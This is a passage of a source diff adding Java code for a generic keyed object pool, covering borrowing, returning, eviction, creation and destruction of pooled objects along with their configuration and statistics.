+     * @see #getTestWhileIdle
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public void setTestWhileIdle(boolean testWhileIdle) {
+        this.testWhileIdle = testWhileIdle;
+    }
+
+    /**
+     * Sets the configuration.
+     * @param conf the new configuration to use.
+     * @see GenericKeyedObjectPoolConfig
+     */
+    public void setConfig(GenericKeyedObjectPoolConfig conf) {
+        setLifo(conf.getLifo());
+        setMaxIdlePerKey(conf.getMaxIdlePerKey());
+        setMaxTotalPerKey(conf.getMaxTotalPerKey());
+        setMaxTotal(conf.getMaxTotal());
+        setMinIdlePerKey(conf.getMinIdlePerKey());
+        setMaxWait(conf.getMaxWait());
+        setBlockWhenExhausted(conf.getBlockWhenExhausted());
+        setTestOnBorrow(conf.getTestOnBorrow());
+        setTestOnReturn(conf.getTestOnReturn());
+        setTestWhileIdle(conf.getTestWhileIdle());
+        setNumTestsPerEvictionRun(conf.getNumTestsPerEvictionRun());
+        setMinEvictableIdleTimeMillis(conf.getMinEvictableIdleTimeMillis());
+        setTimeBetweenEvictionRunsMillis(conf.getTimeBetweenEvictionRunsMillis());
+    }
+
+    /**
+     * Whether or not the idle object pools act as LIFO queues. True means
+     * that borrowObject returns the most recently used ("last in") idle object
+     * in a pool (if there are idle instances available).  False means that
+     * the pools behave as FIFO queues - objects are taken from idle object
+     * pools in the order that they are returned.
+     *
+     * @return <code>true</code> if the pools are configured to act as LIFO queues
+     * @since 1.4
+     */
+     public boolean getLifo() {
+         return lifo;
+     }
+
+     /**
+      * Sets the LIFO property of the pools. True means that borrowObject returns
+      * the most recently used ("last in") idle object in a pool (if there are
+      * idle instances available).  False means that the pools behave as FIFO
+      * queues - objects are taken from idle object pools in the order that
+      * they are returned.
+      *
+      * @param lifo the new value for the lifo property
+      * @since 1.4
+      */
+     public void setLifo(boolean lifo) {
+         this.lifo = lifo;
+     }
+
+     /**
+      * Obtain a reference to the factory used to create, destroy and validate
+      * the objects used by this pool.
+      *  
+      * @return the factory
+      */
+     public KeyedPoolableObjectFactory<K, T> getFactory() {
+         return factory;
+     }
+     
+     
+    //-- ObjectPool methods ------------------------------------------
+
+    /**
+     * <p>Borrows an object from the keyed pool associated with the given key.</p>
+     * 
+     * <p>If there is an idle instance available in the pool associated with the given key, then
+     * either the most-recently returned (if {@link #getLifo() lifo} == true) or "oldest" (lifo == false)
+     * instance sitting idle in the pool will be activated and returned.  If activation fails, or
+     * {@link #getTestOnBorrow() testOnBorrow} is set to true and validation fails, the instance is destroyed and the
+     * next available instance is examined.  This continues until either a valid instance is returned or there
+     * are no more idle instances available.</p>
+     * 
+     * <p>If there are no idle instances available in the pool associated with the given key, behavior
+     * depends on the {@link #getMaxTotalPerKey() maxTotalPerKey}, {@link #getMaxTotal() maxTotal}, and (if applicable)
+     * {@link #getBlockWhenExhausted()} and {@link #getMaxWait() maxWait} settings. If the
+     * number of instances checked out from the pool under the given key is less than <code>maxTotalPerKey</code> and
+     * the total number of instances in circulation (under all keys) is less than <code>maxTotal</code>, a new instance
+     * is created, activated and (if applicable) validated and returned to the caller.</p>
+     * 
+     * <p>If the associated keyed pool is exhausted (no available idle instances and no capacity to create new ones),
+     * this method will either block ({@link #getBlockWhenExhausted()} is true) or throw a <code>NoSuchElementException</code>
+     * ({@link #getBlockWhenExhausted()} is false).
+     * The length of time that this method will block when {@link #getBlockWhenExhausted()} is true
+     * is determined by the {@link #getMaxWait() maxWait} property.</p>
+     * 
+     * <p>When the pool is exhausted, multiple calling threads may be simultaneously blocked waiting for instances
+     * to become available.  As of pool 1.5, a "fairness" algorithm has been implemented to ensure that threads receive
+     * available instances in request arrival order.</p>
+     * 
+     * @param key pool key
+     * @return object instance from the keyed pool
+     * @throws NoSuchElementException if a keyed object instance cannot be returned.
+     */
+    public T borrowObject(K key) throws Exception {
+        return borrowObject(key, getMaxWait());
+    }
+     
+    /**
+     * <p>Borrows an object from the keyed pool associated with the given key
+     * using a user specific waiting time which only applies if
+     * {@link #getBlockWhenExhausted()} is true.</p>
+     * 
+     * @param key pool key
+     * @param borrowMaxWait
+     * @return object instance from the keyed pool
+     * @throws NoSuchElementException if a keyed object instance cannot be returned.
+     */
+    public T borrowObject(K key, long borrowMaxWait) throws Exception {
+
+        assertOpen();
+
+        PooledObject<T> p = null;
+
+        // Get local copy of current config so it is consistent for entire
+        // method execution
+        boolean blockWhenExhausted = getBlockWhenExhausted();
+
+        boolean create;
+        long waitTime = 0;
+        ObjectDeque<T> objectDeque = register(key);
+        
+        try {
+            while (p == null) {
+                create = false;
+                if (blockWhenExhausted) {
+                    if (objectDeque != null) {
+                        p = objectDeque.getIdleObjects().pollFirst();
+                    }
+                    if (p == null) {
+                        create = true;
+                        p = create(key);
+                    }
+                    if (p == null && objectDeque != null) {
+                        if (borrowMaxWait < 0) {
+                            p = objectDeque.getIdleObjects().takeFirst();
+                        } else {
+                            waitTime = System.currentTimeMillis();
+                            p = objectDeque.getIdleObjects().pollFirst(
+                                    borrowMaxWait, TimeUnit.MILLISECONDS);
+                            waitTime = System.currentTimeMillis() - waitTime;
+                        }
+                    }
+                    if (p == null) {
+                        throw new NoSuchElementException(
+                                "Timeout waiting for idle object");
+                    }
+                    if (!p.allocate()) {
+                        p = null;
+                    }
+                } else {
+                    if (objectDeque != null) {
+                        p = objectDeque.getIdleObjects().pollFirst();
+                    }
+                    if (p == null) {
+                        create = true;
+                        p = create(key);
+                    }
+                    if (p == null) {
+                        throw new NoSuchElementException("Pool exhausted");
+                    }
+                    if (!p.allocate()) {
+                        p = null;
+                    }
+                }
+    
+                if (p != null) {
+                    try {
+                        factory.activateObject(key, p.getObject());
+                    } catch (Exception e) {
+                        try {
+                            destroy(key, p, true);
+                        } catch (Exception e1) {
+                            // Ignore - activation failure is more important
+                        }
+                        p = null;
+                        if (create) {
+                            NoSuchElementException nsee = new NoSuchElementException(
+                                    "Unable to activate object");
+                            nsee.initCause(e);
+                            throw nsee;
+                        }
+                    }
+                    if (p != null && getTestOnBorrow()) {
+                        boolean validate = false;
+                        Throwable validationThrowable = null;
+                        try {
+                            validate = factory.validateObject(key, p.getObject());
+                        } catch (Throwable t) {
+                            PoolUtils.checkRethrow(t);
+                        }
+                        if (!validate) {
+                            try {
+                                destroy(key, p, true);
+                                destroyedByBorrowValidationCount.incrementAndGet();
+                            } catch (Exception e) {
+                                // Ignore - validation failure is more important
+                            }
+                            p = null;
+                            if (create) {
+                                NoSuchElementException nsee = new NoSuchElementException(
+                                        "Unable to validate object");
+                                nsee.initCause(validationThrowable);
+                                throw nsee;
+                            }
+                        }
+                    }
+                }
+            }
+        } finally {
+            deregister(key);
+        }
+        
+        borrowedCount.incrementAndGet();
+        synchronized (idleTimes) {
+            idleTimes.add(Long.valueOf(p.getIdleTimeMillis()));
+            idleTimes.poll();
+        }
+        synchronized (waitTimes) {
+            waitTimes.add(Long.valueOf(waitTime));
+            waitTimes.poll();
+        }
+        synchronized (maxBorrowWaitTimeMillisLock) {
+            if (waitTime > maxBorrowWaitTimeMillis) {
+                maxBorrowWaitTimeMillis = waitTime;
+            }
+        }
+        return p.getObject();
+    }
+
+
+     /**
+      * <p>Returns an object to a keyed pool.</p>
+      * 
+      * <p>For the pool to function correctly, the object instance <strong>must</strong> have been borrowed
+      * from the pool (under the same key) and not yet returned. Repeated <code>returnObject</code> calls on
+      * the same object/key pair (with no <code>borrowObject</code> calls in between) will result in multiple
+      * references to the object in the idle instance pool.</p>
+      * 
+      * <p>If {@link #getMaxIdlePerKey() maxIdle} is set to a positive value and the number of idle instances under the given
+      * key has reached this value, the returning instance is destroyed.</p>
+      * 
+      * <p>If {@link #getTestOnReturn() testOnReturn} == true, the returning instance is validated before being returned
+      * to the idle instance pool under the given key.  In this case, if validation fails, the instance is destroyed.</p>
+      * 
+      * @param key pool key
+      * @param t instance to return to the keyed pool
+      * @throws Exception
+      */
+     public void returnObject(K key, T t) throws Exception {
+         
+         ObjectDeque<T> objectDeque = poolMap.get(key);
+         
+         PooledObject<T> p = objectDeque.getAllObjects().get(t);
+         
+         if (p == null) {
+             throw new IllegalStateException(
+                     "Returned object not currently part of this pool");
+         }
+
+         long activeTime = p.getActiveTimeMillis();
+
+         if (getTestOnReturn()) {
+             if (!factory.validateObject(key, t)) {
+                 try {
+                     destroy(key, p, true);
+                 } catch (Exception e) {
+                     // TODO - Ignore?
+                 }
+                 updateStatsReturn(activeTime);
+                 return;
+             }
+         }
+
+         try {
+             factory.passivateObject(key, t);
+         } catch (Exception e1) {
+             try {
+                 destroy(key, p, true);
+             } catch (Exception e) {
+                 // TODO - Ignore?
+             }
+             updateStatsReturn(activeTime);
+             return;
+         }
+
+         if (!p.deallocate()) {
+             throw new IllegalStateException(
+                     "Object has already been retured to this pool");
+         }
+
+         int maxIdle = getMaxIdlePerKey();
+         LinkedBlockingDeque<PooledObject<T>> idleObjects =
+             objectDeque.getIdleObjects();
+
+         if (isClosed() || maxIdle > -1 && maxIdle <= idleObjects.size()) {
+             try {
+                 destroy(key, p, true);
+             } catch (Exception e) {
+                 // TODO - Ignore?
+             }
+         } else {
+             if (getLifo()) {
+                 idleObjects.addFirst(p);
+             } else {
+                 idleObjects.addLast(p);
+             }
+         }
+ 
+         if (hasBorrowWaiters()) {
+             reuseCapacity();
+         }
+
+         updateStatsReturn(activeTime);
+     }
+
+
+     private void updateStatsReturn(long activeTime) {
+         returnedCount.incrementAndGet();
+         synchronized (activeTimes) {
+             activeTimes.add(Long.valueOf(activeTime));
+             activeTimes.poll();
+         }
+     }
+
+     
+     /**
+      * {@inheritDoc}
+      * <p>Activation of this method decrements the active count associated with
+      * the given keyed pool  and attempts to destroy <code>obj.</code></p>
+      * 
+      * @param key pool key
+      * @param obj instance to invalidate
+      * @throws Exception if an exception occurs destroying the object
+      */
+     public void invalidateObject(K key, T obj) throws Exception {
+         
+         ObjectDeque<T> objectDeque = poolMap.get(key);
+         
+         PooledObject<T> p = objectDeque.getAllObjects().get(obj);
+         if (p == null) {
+             throw new IllegalStateException(
+                     "Object not currently part of this pool");
+         }
+         destroy(key, p, true);
+     }
+
+
+     /**
+      * Clears any objects sitting idle in the pool by removing them from the
+      * idle instance pool and then invoking the configured PoolableObjectFactory's
+      * {@link KeyedPoolableObjectFactory#destroyObject(Object, Object)} method on
+      * each idle instance.
+      *  
+      * <p> Implementation notes:
+      * <ul><li>This method does not destroy or effect in any way instances that are
+      * checked out when it is invoked.</li>
+      * <li>Invoking this method does not prevent objects being
+      * returned to the idle instance pool, even during its execution. It locks
+      * the pool only during instance removal. Additional instances may be returned
+      * while removed items are being destroyed.</li>
+      * <li>Exceptions encountered destroying idle instances are swallowed.</li></ul></p>
+      */
+     public void clear() {
+         Iterator<K> iter = poolMap.keySet().iterator();
+         
+         while (iter.hasNext()) {
+             clear(iter.next());
+         }
+     }
+
+
+     /**
+      * Clears the specified pool, removing all pooled instances corresponding
+      * to the given <code>key</code>.
+      *
+      * @param key the key to clear
+      */
+     public void clear(K key) {
+         
+         register(key);
+         
+         try {
+             ObjectDeque<T> objectDeque = poolMap.get(key);
+             if (objectDeque == null) {
+                 return;
+             }
+             LinkedBlockingDeque<PooledObject<T>> idleObjects =
+                     objectDeque.getIdleObjects();
+             
+             PooledObject<T> p = idleObjects.poll();
+    
+             while (p != null) {
+                 try {
+                     destroy(key, p, true);
+                 } catch (Exception e) {
+                     // TODO - Ignore?
+                 }
+                 p = idleObjects.poll();
+             }
+         } finally {
+             deregister(key);
+         }
+     }
+
+
+     /**
+      * Returns the total number of instances current borrowed from this pool but not yet returned.
+      *
+      * @return the total number of instances currently borrowed from this pool
+      */
+     public int getNumActive() {
+         return numTotal.get() - getNumIdle();
+     }
+
+     /**
+      * Returns the total number of instances currently idle in this pool.
+      *
+      * @return the total number of instances currently idle in this pool
+      */
+     public int getNumIdle() {
+         Iterator<ObjectDeque<T>> iter = poolMap.values().iterator();
+         int result = 0;
+         
+         while (iter.hasNext()) {
+             result += iter.next().getIdleObjects().size();
+         }
+
+         return result;
+     }
+
+     /**
+      * Returns the number of instances currently borrowed from but not yet returned
+      * to the pool corresponding to the given <code>key</code>.
+      *
+      * @param key the key to query
+      * @return the number of instances corresponding to the given <code>key</code> currently borrowed in this pool
+      */
+     public int getNumActive(K key) {
+         final ObjectDeque<T> objectDeque = poolMap.get(key);
+         if (objectDeque != null) {
+             return objectDeque.getAllObjects().size() -
+                     objectDeque.getIdleObjects().size();
+         } else {
+             return 0;
+         }
+     }
+
+     /**
+      * Returns the number of instances corresponding to the given <code>key</code> currently idle in this pool.
+      *
+      * @param key the key to query
+      * @return the number of instances corresponding to the given <code>key</code> currently idle in this pool
+      */
+     public int getNumIdle(K key) {
+         final ObjectDeque<T> objectDeque = poolMap.get(key);
+         return objectDeque != null ? objectDeque.getIdleObjects().size() : 0;
+     }
+
+
+     /**
+      * <p>Closes the keyed object pool.  Once the pool is closed, {@link #borrowObject(Object)}
+      * will fail with IllegalStateException, but {@link #returnObject(Object, Object)} and
+      * {@link #invalidateObject(Object, Object)} will continue to work, with returned objects
+      * destroyed on return.</p>
+      * 
+      * <p>Destroys idle instances in the pool by invoking {@link #clear()}.</p> 
+      * 
+      * @throws Exception
+      */
+     public void close() throws Exception {
+         if (isClosed()) {
+             return;
+         }
+
+         synchronized (closeLock) {
+             if (isClosed()) {
+                 return;
+             }
+
+             closed = true;
+             clear();
+             evictionIterator = null;
+             evictionKeyIterator = null;
+             startEvictor(-1L);
+             if (oname != null) {
+                 ManagementFactory.getPlatformMBeanServer().unregisterMBean(
+                         oname);
+             }
+         }
+
+     }
+
+     /**
+      * Has this pool instance been closed.
+      * @return <code>true</code> when this pool has been closed.
+      * @since Pool 1.4
+      */
+     public boolean isClosed() {
+         return closed;
+     }
+
+     /**
+      * Throws an <code>IllegalStateException</code> when this pool has been closed.
+      * @throws IllegalStateException when this pool has been closed.
+      * @see #isClosed()
+      * @since Pool 1.4
+      */
+     protected void assertOpen() throws IllegalStateException {
+         if(isClosed()) {
+             throw new IllegalStateException("Pool not open");
+         }
+     }
+
+     /** Whether or not the pool is closed */
+     private volatile boolean closed = false;
+
+     
+     /**
+      * Clears oldest 15% of objects in pool.  The method sorts the
+      * objects into a TreeMap and then iterates the first 15% for removal.
+      * 
+      * @since Pool 1.3
+      */
+     public void clearOldest() {
+
+         // build sorted map of idle objects
+         final Map<PooledObject<T>, K> map = new TreeMap<PooledObject<T>, K>();
+
+         for (K k : poolMap.keySet()) {
+             final LinkedBlockingDeque<PooledObject<T>> idleObjects =
+                 poolMap.get(k).getIdleObjects();
+             for (PooledObject<T> p : idleObjects) {
+                 // each item into the map using the PooledObject object as the
+                 // key. It then gets sorted based on the idle time
+                 map.put(p, k);
+             }
+         }
+
+         // Now iterate created map and kill the first 15% plus one to account
+         // for zero
+         int itemsToRemove = ((int) (map.size() * 0.15)) + 1;
+         Iterator<Map.Entry<PooledObject<T>, K>> iter =
+             map.entrySet().iterator();
+
+         while (iter.hasNext() && itemsToRemove > 0) {
+             Map.Entry<PooledObject<T>, K> entry = iter.next();
+             // kind of backwards on naming.  In the map, each key is the
+             // PooledObject because it has the ordering with the timestamp
+             // value.  Each value that the key references is the key of the
+             // list it belongs to.
+             K key = entry.getValue();
+             PooledObject<T> p = entry.getKey();
+             // Assume the destruction succeeds
+             boolean destroyed = true;
+             try {
+                 destroyed = destroy(key, p, false);
+            } catch (Exception e) {
+                // TODO - Ignore?
+            }
+            if (destroyed) {
+                itemsToRemove--;
+            }
+        }
+    }
+    
+    /**
+     * Attempt to create one new instance to serve from the most heavily
+     * loaded pool that can add a new instance.
+     * 
+     * This method exists to ensure liveness in the pool when threads are
+     * parked waiting and capacity to create instances under the requested keys
+     * subsequently becomes available.
+     * 
+     * This method is not guaranteed to create an instance and its selection
+     * of the most loaded pool that can create an instance may not always be
+     * correct, since it does not lock the pool and instances may be created,
+     * borrowed, returned or destroyed by other threads while it is executing.
+     * 
+     * @return true if an instance is created and added to a pool
+     */
+    private boolean reuseCapacity() {
+        final int maxTotalPerKey = getMaxTotalPerKey();
+   
+        // Find the most loaded pool that could take a new instance
+        int maxQueueLength = 0;
+        LinkedBlockingDeque<PooledObject<T>> mostLoaded = null;
+        K loadedKey = null;
+        for (K k : poolMap.keySet()) {
+            final ObjectDeque<T> deque = poolMap.get(k);
+            if (deque != null) {
+                final LinkedBlockingDeque<PooledObject<T>> pool = deque.getIdleObjects();
+                final int queueLength = pool.getTakeQueueLength();
+                if (getNumActive(k) < maxTotalPerKey && queueLength > maxQueueLength) {
+                    maxQueueLength = queueLength;
+                    mostLoaded = pool; 
+                    loadedKey = k;
+                }
+            }
+        }
+        
+        // Attempt to add an instance to the most loaded pool
+        boolean success = false;
+        if (mostLoaded != null) {
+            register(loadedKey);
+            try {
+                PooledObject<T> p = create(loadedKey);
+                if (p != null) {
+                    addIdleObject(loadedKey, p);
+                    success = true;
+                }
+            } catch (Exception ex) {
+                // Swallow and return false
+            } finally {
+                deregister(loadedKey);
+            }
+        }
+        return success;   
+    }
+    
+    /**
+     * Returns true if there are threads parked waiting to borrow instances
+     * from at least one of the keyed pools.
+     * 
+     * @return true if {@link #reuseCapacity()} would be useful
+     */
+    private boolean hasBorrowWaiters() {
+        for (K k : poolMap.keySet()) {
+            final ObjectDeque<T> deque = poolMap.get(k);
+            if (deque != null) {
+                final LinkedBlockingDeque<PooledObject<T>> pool =
+                    deque.getIdleObjects();
+                if(pool.hasTakeWaiters()) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+
+    /**
+     * <p>Perform <code>numTests</code> idle object eviction tests, evicting
+     * examined objects that meet the criteria for eviction. If
+     * <code>testWhileIdle</code> is true, examined objects are validated
+     * when visited (and removed if invalid); otherwise only objects that
+     * have been idle for more than <code>minEvicableIdletimeMillis</code>
+     * are removed.</p>
+     *
+     * <p>Successive activations of this method examine objects in keyed pools
+     * in sequence, cycling through the keys and examining objects in
+     * oldest-to-youngest order within the keyed pools.</p>
+     *
+     * @throws Exception when there is a problem evicting idle objects.
+     */
+    public void evict() throws Exception {
+        assertOpen();
+
+        if (getNumIdle() == 0) {
+            return;
+        }
+
+        boolean testWhileIdle = getTestWhileIdle();
+        long idleEvictTime = Long.MAX_VALUE;
+         
+        if (getMinEvictableIdleTimeMillis() > 0) {
+            idleEvictTime = getMinEvictableIdleTimeMillis();
+        }
+
+        PooledObject<T> underTest = null;
+        LinkedBlockingDeque<PooledObject<T>> idleObjects = null;
+         
+        for (int i = 0, m = getNumTests(); i < m; i++) {
+            if(evictionIterator == null || !evictionIterator.hasNext()) {
+                if (evictionKeyIterator == null ||
+                        !evictionKeyIterator.hasNext()) {
+                    List<K> keyCopy = new ArrayList<K>();
+                    keyCopy.addAll(poolKeyList);
+                    evictionKeyIterator = keyCopy.iterator();
+                }
+                while (evictionKeyIterator.hasNext()) {
+                    evictionKey = evictionKeyIterator.next();
+                    ObjectDeque<T> objectDeque = poolMap.get(evictionKey);
+                    if (objectDeque == null) {
+                        continue;
+                    }
+                    idleObjects = objectDeque.getIdleObjects();
+                    
+                    if (getLifo()) {
+                        evictionIterator = idleObjects.descendingIterator();
+                    } else {
+                        evictionIterator = idleObjects.iterator();
+                    }
+                    if (evictionIterator.hasNext()) {
+                        break;
+                    }
+                    evictionIterator = null;
+                }
+            }
+            if (evictionIterator == null) {
+                // Pools exhausted
+                return;
+            }
+            try {
+                underTest = evictionIterator.next();
+            } catch (NoSuchElementException nsee) {
+                // Object was borrowed in another thread
+                // Don't count this as an eviction test so reduce i;
+                i--;
+                evictionIterator = null;
+                continue;
+            }
+
+            if (!underTest.startEvictionTest()) {
+                // Object was borrowed in another thread
+                // Don't count this as an eviction test so reduce i;
+                i--;
+                continue;
+            }
+
+            if (idleEvictTime < underTest.getIdleTimeMillis()) {
+                destroy(evictionKey, underTest, true);
+                destroyedByEvictorCount.incrementAndGet();
+            } else {
+                if (testWhileIdle) {
+                    boolean active = false;
+                    try {
+                        factory.activateObject(evictionKey, 
+                                underTest.getObject());
+                        active = true;
+                    } catch (Exception e) {
+                        destroy(evictionKey, underTest, true);
+                        destroyedByEvictorCount.incrementAndGet();
+                    }
+                    if (active) {
+                        if (!factory.validateObject(evictionKey,
+                                underTest.getObject())) {
+                            destroy(evictionKey, underTest, true);
+                            destroyedByEvictorCount.incrementAndGet();
+                        } else {
+                            try {
+                                factory.passivateObject(evictionKey,
+                                        underTest.getObject());
+                            } catch (Exception e) {
+                                destroy(evictionKey, underTest, true);
+                                destroyedByEvictorCount.incrementAndGet();
+                            }
+                        }
+                    }
+                }
+                if (!underTest.endEvictionTest(idleObjects)) {
+                    // TODO - May need to add code here once additional states
+                    // are used
+                }
+            }
+        }
+    }
+
+     
+    private PooledObject<T> create(K key) throws Exception {
+        int maxTotalPerKey = getMaxTotalPerKey(); // Per key
+        int maxTotal = getMaxTotal();   // All keys
+
+        // Check against the overall limit
+        boolean loop = true;
+        
+        while (loop) {
+            int newNumTotal = numTotal.incrementAndGet();
+            if (maxTotal > -1 && newNumTotal > maxTotal) {
+                numTotal.decrementAndGet();
+                if (getNumIdle() == 0) {
+                    return null;
+                } else {
+                    clearOldest();
+                }
+            } else {
+                loop = false;
+            }
+        }
+         
+        ObjectDeque<T> objectDeque = poolMap.get(key);
+        long newCreateCount = objectDeque.getCreateCount().incrementAndGet();
+
+        // Check against the per key limit
+        if (maxTotalPerKey > -1 && newCreateCount > maxTotalPerKey ||
+                newCreateCount > Integer.MAX_VALUE) {
+            numTotal.decrementAndGet();
+            objectDeque.getCreateCount().decrementAndGet();
+            return null;
+        }
+         
+
+        T t = null;
+        try {
+            t = factory.makeObject(key);
+        } catch (Exception e) {
+            numTotal.decrementAndGet();
+            throw e;
+        }
+
+        PooledObject<T> p = new PooledObject<T>(t);
+        createdCount.incrementAndGet();
+        objectDeque.getAllObjects().put(t, p);
+        return p;
+    }
+
+    /**
+     * Invalidate toDestroy and if it is idle under key or always is true, destroy it.
+     * Return true if toDestroy is destroyed.
+     * 
+     * @param key pool key
+     * @param toDestroy instance to invalidate and destroy if conditions are met
+     * @param always true means instance will be destroyed regardless of idle pool membership
+     * @return true iff toDestroy is destroyed
+     * @throws Exception
+     */
+    private boolean destroy(K key, PooledObject<T> toDestroy, boolean always)
+            throws Exception {
+        
+        register(key);
+
+        try {
+            ObjectDeque<T> objectDeque = poolMap.get(key);
+            boolean isIdle = objectDeque.getIdleObjects().remove(toDestroy);
+            
+            if (isIdle || always) {
+                objectDeque.getAllObjects().remove(toDestroy.getObject());
+                toDestroy.invalidate();
+        
+                try {
+                    factory.destroyObject(key, toDestroy.getObject());
+                } finally {
+                    objectDeque.getCreateCount().decrementAndGet();
+                    destroyedCount.incrementAndGet();
+                    numTotal.decrementAndGet();
+                }
+                return true;
+            } else {
+                return false;
+            }
+        } finally {
+            deregister(key);
+        }
+    }
+
+    private ObjectDeque<T> register(K k) {
+        Lock lock = keyLock.readLock();
+        ObjectDeque<T> objectDeque = null;
+        try {
+            lock.lock();
+            objectDeque = poolMap.get(k);
+            if (objectDeque == null) {
+                // Upgrade to write lock
+                lock.unlock();
+                lock = keyLock.writeLock();
+                lock.lock();
+                objectDeque = poolMap.get(k);
+                if (objectDeque == null) {
+                    objectDeque = new ObjectDeque<T>();
+                    objectDeque.getNumInterested().incrementAndGet();
+                    poolMap.put(k, objectDeque);
+                    poolKeyList.add(k);
+                } else {
+                    objectDeque.getNumInterested().incrementAndGet();
+                }
+            } else {
+                objectDeque.getNumInterested().incrementAndGet();
+            }
+        } finally {
+            lock.unlock();
+        }
+        return objectDeque;
+    }
+    
+    private void deregister(K k) {
+        ObjectDeque<T> objectDeque;
+
+        // TODO Think carefully about when a read lock is required
+        objectDeque = poolMap.get(k);
+        long numInterested = objectDeque.getNumInterested().decrementAndGet();
+        if (numInterested == 0 && objectDeque.getCreateCount().get() == 0) {
+            // Potential to remove key
+            Lock lock = keyLock.writeLock();
+            lock.lock();
+            try {
+                if (objectDeque.getCreateCount().get() == 0 &&
+                        objectDeque.getNumInterested().get() == 0) {
+                    poolMap.remove(k);
+                    poolKeyList.remove(k);
+                }
+            } finally {
+                lock.unlock();
+            }
+        }
+    }
+
+    /**
+     * Iterates through all the known keys and creates any necessary objects to maintain
+     * the minimum level of pooled objects.
+     * @see #getMinIdle
+     * @see #setMinIdle
+     * @throws Exception If there was an error whilst creating the pooled objects.
+     */
+    private void ensureMinIdle() throws Exception {
+        int minIdle = getMinIdlePerKey();
+        if (minIdle < 1) {
+            return;
+        }
+
+        for (K k : poolMap.keySet()) {
+            ensureMinIdle(k);
+        }
+    }
+
+
+    /**
+     * Re-creates any needed objects to maintain the minimum levels of
+     * pooled objects for the specified key.
+     *
+     * This method uses {@link #calculateDeficit} to calculate the number
+     * of objects to be created. {@link #calculateDeficit} can be overridden to
+     * provide a different method of calculating the number of objects to be
+     * created.
+     * @param key The key to process
+     * @throws Exception If there was an error whilst creating the pooled objects
+     */
+    private void ensureMinIdle(K key) throws Exception {
+        int minIdle = getMinIdlePerKey();
+        if (minIdle < 1) {
+            return;
+        }
+
+        // Calculate current pool objects
+        ObjectDeque<T> objectDeque = poolMap.get(key);
+
+        // this method isn't synchronized so the
+        // calculateDeficit is done at the beginning
+        // as a loop limit and a second time inside the loop
+        // to stop when another thread already returned the
+        // needed objects
+        int deficit = calculateDeficit(objectDeque);
+
+        for (int i = 0; i < deficit && calculateDeficit(objectDeque) > 0; i++) {
+            addObject(key);
+        }
+    }
+
+    
+    /**
+     * <p>Adds an object to the keyed pool.</p>
+     * 
+     * <p>Validates the object if testOnReturn == true and passivates it before returning it to the pool.
+     * if validation or passivation fails, or maxIdle is set and there is no room in the pool, the instance
+     * is destroyed.</p>
+     * 
+     * <p>Calls {@link #allocate()} on successful completion</p>
+     * 
+     * @param key pool key
+     * @param p instance to add to the keyed pool
+     * @throws Exception
+     */
+    private void addIdleObject(K key, PooledObject<T> p) throws Exception {
+
+        if (p != null) {
+            factory.passivateObject(key, p.getObject());
+            LinkedBlockingDeque<PooledObject<T>> idleObjects =
+                    poolMap.get(key).getIdleObjects();
+            if (getLifo()) {
+                idleObjects.addFirst(p);
+            } else {
+                idleObjects.addLast(p);
+            }
+        }
+    }
+
+    /**
+     * Create an object using the {@link KeyedPoolableObjectFactory#makeObject factory},
+     * passivate it, and then place it in the idle object pool.
+     * <code>addObject</code> is useful for "pre-loading" a pool with idle objects.
+     *
+     * @param key the key a new instance should be added to
+     * @throws Exception when {@link KeyedPoolableObjectFactory#makeObject} fails.
+     * @throws IllegalStateException when no factory has been set or after {@link #close} has been
+     * called on this pool.
+     */
+    public void addObject(K key) throws Exception {
+        assertOpen();
+        if (factory == null) {
+            throw new IllegalStateException("Cannot add objects without a factory.");
+        }
+        register(key);
+        try {
+            PooledObject<T> p = create(key);
+            addIdleObject(key, p);
+        } finally {
+            deregister(key);
+        }
+    }
+
+    /**
+     * Registers a key for pool control and ensures that {@link #getMinIdlePerKey()}
+     * idle instances are created.
+     *
+     * @param key - The key to register for pool control.
+     * @since Pool 1.3
+     */
+    public void preparePool(K key) throws Exception {
+        ensureMinIdle(key);
+    }
+
+    //--- non-public methods ----------------------------------------
+
+    /**
+     * Start the eviction thread or service, or when
+     * <code>delay</code> is non-positive, stop it
+     * if it is already running.
+     *
+     * @param delay milliseconds between evictor runs.
+     */
+    // Needs to be final; see POOL-195. Make protected method final as it is called from constructor.
+    protected final synchronized void startEvictor(long delay) {
+        if (null != evictor) {
+            EvictionTimer.cancel(evictor);
+            evictor = null;
+        }
+        if (delay > 0) {
+            evictor = new Evictor();
+            EvictionTimer.schedule(evictor, delay, delay);
+        }
+    }
+
+    /**
+     * Returns pool info including {@link #getNumActive()}, {@link #getNumIdle()}
+     * and currently defined keys.
+     * 
+     * @return string containing debug information
+     */
+    String debugInfo() {
+        StringBuilder buf = new StringBuilder();
+        buf.append("Active: ").append(getNumActive()).append("\n");
+        buf.append("Idle: ").append(getNumIdle()).append("\n");
+        for (Entry<K,ObjectDeque<T>> entry : poolMap.entrySet()) {
+            buf.append(entry.getKey());
+            buf.append(": ");
+            buf.append(entry.getValue());
+            buf.append("\n");
+        }
+        return buf.toString();
+    }
+
+    /** 
+     * Returns the number of tests to be performed in an Evictor run,
+     * based on the current values of <code>_numTestsPerEvictionRun</code>
+     * and <code>_totalIdle</code>.
+     * 
+     * @see #setNumTestsPerEvictionRun
+     * @return the number of tests for the Evictor to run
+     */
+    private int getNumTests() {
+        int totalIdle = getNumIdle();
+        int numTests = getNumTestsPerEvictionRun();
+        if (numTests >= 0) {
+            return Math.min(numTests, totalIdle);
+        }
+        return(int)(Math.ceil(totalIdle/Math.abs((double)numTests)));
+    }
+
+    /**
+     * This returns the number of objects to create during the pool
+     * sustain cycle. This will ensure that the minimum number of idle
+     * instances is maintained without going past the maxTotalPerKey value.
+     * 
+     * @param pool the ObjectPool to calculate the deficit for
+     * @return The number of objects to be created
+     */
+    private int calculateDeficit(ObjectDeque<T> objectDeque) {
+        
+        if (objectDeque == null) {
+            return getMinIdlePerKey();
+        }
+
+        // Used more than once so keep a local copy so the value is consistent
+        int maxTotal = getMaxTotal();
+        int maxTotalPerKey = getMaxTotalPerKey();
+
+        int objectDefecit = 0;
+
+        // Calculate no of objects needed to be created, in order to have
+        // the number of pooled objects < maxTotalPerKey();
+        objectDefecit = getMinIdlePerKey() - objectDeque.getIdleObjects().size();
+        if (maxTotalPerKey > 0) {
+            int growLimit = Math.max(0,
+                    maxTotalPerKey - objectDeque.getIdleObjects().size());
+            objectDefecit = Math.min(objectDefecit, growLimit);
+        }
+
+        // Take the maxTotal limit into account
+        if (maxTotal > 0) {
+            int growLimit = Math.max(0, maxTotal - getNumActive() - getNumIdle());
